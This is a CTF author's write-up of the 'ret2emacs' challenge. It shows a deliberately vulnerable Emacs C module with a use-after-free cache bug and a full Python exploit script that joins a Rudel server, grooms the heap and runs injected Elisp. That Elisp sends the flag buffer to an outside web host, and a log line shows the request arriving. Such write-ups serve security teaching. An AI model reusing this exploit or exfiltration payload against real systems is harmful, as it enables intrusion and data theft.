It's that time of year again where I take some time to reflect on UMass CTF. This is going to be shorter than last year's. I put out eight challenges, and I'm only going to be writing about one of them. Code, documentation, and write-ups for the others are available here.
Use-After-Free in an Emacs Module
ret2emacs
was among our three unsolved challenges, and it had a disappointingly
low volume of discussion over the weekend. That hurt, since it's the challenge I
was most proud of, but someone asked for solution details post-competition so
I'm given a reason to acknowledge that I made it.
Background
Emacs might seem to be an unusual choice of target for a capture-the-flag
challenge since it's "just" a text editor. However, there's a little-known
package called Rudel which enables collaborative editing over the network. The
premise for the challenge was that you'd connect to a Rudel server where there
was a bot watching *scratch*
,1 and you had to insert some text that would
trigger remote-code execution.
I didn't hoard any 0days for this competition. The intended solution was to attack a vulnerable Emacs dynamic module that was loaded in the bot's Emacs session.
For the uninitiated, Emacs is extensible in a few ways. The primary mechanism for doing so is to use Emacs Lisp (Elisp), which is an interpreted2 scripting language. Emacs also has the capability to interoperate with native code in shared libraries, which we call "dynamic modules." Elisp can call into the code of dynamic modules and vice versa. It's similar to the FFI situation in most other scripting languages.
The following is the (admittedly quite bad) Elisp code running on the bot's end. This is not the vulnerable part, but the background may be helpful in understanding the challenge.
(defvar sixplayground-overlays '()) (defun sixplayground-make-overlay (start end data-or-function) (let* ((overlay (make-overlay (car match) (cadr match))) (data (if (stringp data-or-function) data-or-function (funcall data-or-function)))) (overlay-put overlay 'display (create-image data 'pbm t)) (push overlay sixplayground-overlays))) (defun sixplayground-parse () (save-excursion (set-buffer (get-buffer "*scratch*")) (dolist (overlay sixplayground-overlays) (delete-overlay overlay)) (setq sixplayground-overlays '()) (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\")) (sixplayground-make-overlay (car match) (cdr match) (sixel-decode-string (buffer-substring (car match) (cadr match))))))) (defun matches-in-buffer (regexp &optional buffer) "return a list of matches of REGEXP in BUFFER or the current buffer if not given." (let ((matches)) (save-match-data (save-excursion (with-current-buffer (or buffer (current-buffer)) (save-restriction (widen) (goto-char 1) (while (search-forward-regexp regexp nil t 1) (push (list (match-beginning 0) (match-end 0)) matches))))) (reverse matches)))) (defun sixplayground-on-post-command (&rest args) (when (buffer-modified-p (get-buffer "*scratch*")) (sixplayground-parse) (set-buffer-modified-p nil)))
Here's a summary of what's going on: sixplayground-on-post-command
is like a
callback – it's called every time the buffer is edited. It's a wrapper around
sixplayground-parse
, which iterates over all substrings in the buffer that look
like a series of Sixel commands and converts them to "overlays", which are
images that can be displayed in the editor's text area. The part that actually
converts these substrings to image data is sixel-decode-string
.
The song and dance of FFI initialization is omitted for brevity, but
sixel-decode-string
is implemented as the following C function. It returns an
Emacs string.
struct hash { uint32_t h0, h1, h2, h3; }; #define CACHESZ 8 static struct hash cache_identifiers[CACHESZ]; static struct emacs_value_tag *cache[CACHESZ]; static int inuse[CACHESZ]; emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t NARGS, emacs_value *ARGS, void *DATA) { assert(NARGS == 1); int pwidth, pheight, ncolors; unsigned char *palette; unsigned char *pixels; unsigned char *buf; ptrdiff_t len; if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) { panic(ENV, "Failed to retrieve string length."); } if ((buf = malloc(len)) == NULL) { panic(ENV, "Failed to allocate buffer."); } if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) { panic(ENV, "Failed to retrieve string."); } md5(buf, len); for (int i = 0; i < CACHESZ; i++) { if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) { return cache[i]; } } sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator); ptrdiff_t output_len = 256 + 12 * (pwidth * pheight); char *output, *cur; if ((output = malloc(output_len)) == NULL) { panic(ENV, "Failed to allocate buffer."); } cur = output; cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight); for (int i = 0; i < pheight * pwidth; i++) { cur += sprintf(cur, "%d %d %d\n", *(palette + pixels[i] * 3 + 0), *(palette + pixels[i] * 3 + 1), *(palette + pixels[i] * 3 + 2)); } emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output)); int sentinel = 0; for (int i = 0; i < CACHESZ; i++) { if (!inuse[i]) { sentinel = 1; cache_identifiers[i].h0 = h0; cache_identifiers[i].h1 = h1; cache_identifiers[i].h2 = h2; cache_identifiers[i].h3 = h3; cache[i] = malloc(sizeof(struct emacs_value_tag)); cache[i]->v = *((void **)ret); inuse[i] = 1; break; } } if (!sentinel) { // Evict the whole cache, except for `i`. for (int i = 0; i < CACHESZ; i++) { /* cache_identifiers[j].h0 = 0; */ /* cache_identifiers[j].h1 = 0; */ /* cache_identifiers[j].h2 = 0; */ /* cache_identifiers[j].h3 = 0; */ free(cache[i]); inuse[i] = 0; } cache_identifiers[0].h0 = h0; cache_identifiers[0].h1 = h1; cache_identifiers[0].h2 = h2; cache_identifiers[0].h3 = h3; cache[0] = malloc(sizeof(struct emacs_value_tag)); cache[0]->v = *((void **)ret); inuse[0] = 1; } free(buf); free(output); sixel_allocator_free(allocator, palette); return ret; }
If your eyes glazed over reading that, we're doing a couple of things. First and
foremost, we're taking the md5sum
of the input (which, in this case, is a string
of Sixel commands). If we haven't seen the hash before, then we feed the input
into libsixel to get some bitmap data, and then convert that bitmap data into an
Emacs string containing a netpbm image… mostly for convenience, since it's a
format readily accepted by Emacs. We also copy that resulting string onto the
heap so that we can save it in our cache
.3 If we have seen the hash before,
then we immediately return an Emacs object from the cache.
Vulnerability
The vulnerability is outlined by the comments: we clear neither the heap pointers in the cache nor the hashes. So, if the cache were evicted and you inserted a Sixel image that had been cached prior to the eviction, the function would return a stale pointer.
So, where do we go with this? Let's look at the signature for sixplayground-make-overlay
:
(defun sixplayground-make-overlay (start end data-or-function) ...
We pass the output of sixel-decode-string
in as data-or-function
. So if we can
coerce sixel-decode-string
into returning an Emacs function object, then that
function will be called when the buffer is done being processed.
Fortunately, it's fairly easy to construct a "function" that works, because Elisp is quite lenient in what it considers a function.
(functionp 'eval-buffer) ; => t
If we can coerce sixel-decode-string
into returning the symbol naming a
function, then that function will be executed.
Elisp objects are machine words where the type of the object is encoded in the
least significant bits. The concept is similar to that of the tagged pointer,
except that not all Emacs objects are pointers. Symbols, in particular, are just
identified by non-descriptive integers whose three least significant bits are
all 0
.
enum Lisp_Type { /* Symbol. XSYMBOL (object) points to a struct Lisp_Symbol. */ Lisp_Symbol = 0, /* Type 1 is currently unused. */ /* Fixnum. XFIXNUM (obj) is the integer value. */ Lisp_Int0 = 2, Lisp_Int1 = USE_LSB_TAG ? 6 : 3, /* String. XSTRING (object) points to a struct Lisp_String. The length of the string, and its contents, are stored therein. */ Lisp_String = 4, /* Vector of Lisp objects, or something resembling it. XVECTOR (object) points to a struct Lisp_Vector, which contains the size and contents. The size field also contains the type information, if it's not a real vector object. */ Lisp_Vectorlike = 5, /* Cons. XCONS (object) points to a struct Lisp_Cons. */ Lisp_Cons = USE_LSB_TAG ? 3 : 6, /* Must be last entry in Lisp_Type enumeration. */ Lisp_Float = 7 };
It isn't too difficult to find the in-memory representation of a symbol using
the dynamic module interface. Doing so is left as an exercise to the reader, as
it's been long enough that I've discarded a lot of my solution material. The
symbol I went for was eval-buffer
for reasons you will soon see.
The point about this being a non-descriptive integer rather than a pointer is an important one, though. This means that one need not concern herself with i.e., ASLR to carry out the exploit.
Once you have the in-memory representation of the symbol, you can encode it as a Sixel image using this Python function:
import png from subprocess import Popen, DEVNULL, PIPE, STDOUT def data_to_sixel(data): w = png.Writer(4, 2, greyscale=False) p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) w.write(p.stdin, data) p.stdin.close() try: p.wait(5) except Exception: exit(1) return p.stdout.read()
Exploit
When this is decoded by the module, we know that there will be a heap chunk
somewhere that contains the in-memory representation for our target symbol. Our
goal is to do some heap feng shui such that a stale pointer in the cache points
at this particular heap chunk. Then, we trigger a use-after-free, so that when
sixel-decode-string
is called, it will return this symbol object, thereby
triggering the or-function
path of sixplayground-make-overlay
.
This brings us to the solution. Like much of the other code in this article, it is not pleasing to look at, but it gets the point across.
from base64 import b64encode from subprocess import Popen, DEVNULL, PIPE, STDOUT import struct import time import os import png import random EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\" PAYLOAD=b""" (save-excursion (set-buffer (get-buffer "*flag*")) (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) (buffer-string)) """ def data_to_sixel(data): w = png.Writer(4, 2, greyscale=False) p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) w.write(p.stdin, data) p.stdin.close() try: p.wait(5) except Exception: exit(1) return p.stdout.read() def random4x2(): return data_to_sixel( [tuple([random.randrange(0, 100) for _ in range(3 * 4)]), tuple([random.randrange(0, 100) for _ in range(3 * 4)])] ) def emacs_exec(cmd): p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) try: p.wait(30) except Exception: exit(1) return p.stdout.read() def submit(data): b64encode(PAYLOAD + b"\n" + data) emacs_exec(""" (progn (set-buffer (get-buffer "*scratch*")) (delete-region 1 (buffer-size)) (insert (base64-decode-string \"{}\"))) """.format(b64encode(PAYLOAD + b"\n" + data).decode())) resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))") if b"FLAG" in resp: print(resp) daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) time.sleep(3) # 0. Connect to the remote. emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))") if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"): print("[a] Failed to connect...") daemon.kill() exit(1) litmus = emacs_exec(""" (dolist (document (rudel-unsubscribed-documents rudel-current-session)) (rudel-attach-to-buffer document (get-buffer "*scratch*")) (let ((connection (oref (oref document session) connection))) (rudel-subscribe-to connection document))) """) if b"ERROR" in litmus: print("[b] Failed to connect...") daemon.kill() exit(1) original_cache = [] dump = PAYLOAD # 1. Populate the cache. for _ in range(8): dat = random4x2() original_cache.append(dat) dump += dat # 2. Evict the cache. dump += random4x2() # 3. _Some_ allocation between now and fully populating the cache will overlap # with the Emacs struct array. We don't necessarily know when, so pick random n. # n = random.randrange(0, 8) n = 0 # for i in range(n): # dat = random4x2() # original_cache[i] = dat # dump += dat # 4. Submit the magic payload. dump += EVAL_BUFFER # 5. Overlap should be some random entry afterward... k = 5 # k = random.randrange(n + 2, 8) # dump += original_cache[k] submit(dump) submit(original_cache[k]) emacs_exec("(rudel-disconnect rudel-current-session)") print(f"n = {n}, k = {k}") daemon.kill()
I began by randomly choosing n
and k
. Trial and error led me to find that n = 0,
k = 5
was the most reliable choice of the two, so they are hard-coded. There is
still some nondeterminism involved in the exploit, so you will have to run the
exploit script several times before it is fruitful.
Besides the heap feng shui and use-after-free described above, we are inserting
some Elisp code to be executed by eval-buffer
when we are successful. In
particular:
(save-excursion (set-buffer (get-buffer "*flag*")) (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) (buffer-string))
So after setting up a Bash script to run my exploit in a loop, all I needed to
do was log into my home server, tail -f
the logs, and crack open a beer.
jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)"
On the CTF as a Whole
I don't have too much to say. I think the competition went well. Thanks to all who played.
Despite all the burnout I was experiencing in the months leading up to the competition, the comments on the weight voting made it worth it for me, especially hearing that folks liked the dumb game I spent months working on.
I'm going off elsewhere for grad school now, but I'll continue to volunteer my time with the UMass Cybersecurity Club for the foreseeable future. I helped to sow the seeds, and now I have an opportunity to see things bloom.
—
Footnotes:
In Emacs, the principal data structure for storing editable text is the buffer. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. *scratch*
is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with *scratch*
because it's known to nearly every Emacs user.
Or JIT, if you're using the latest and greatest.
This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend."
Comment form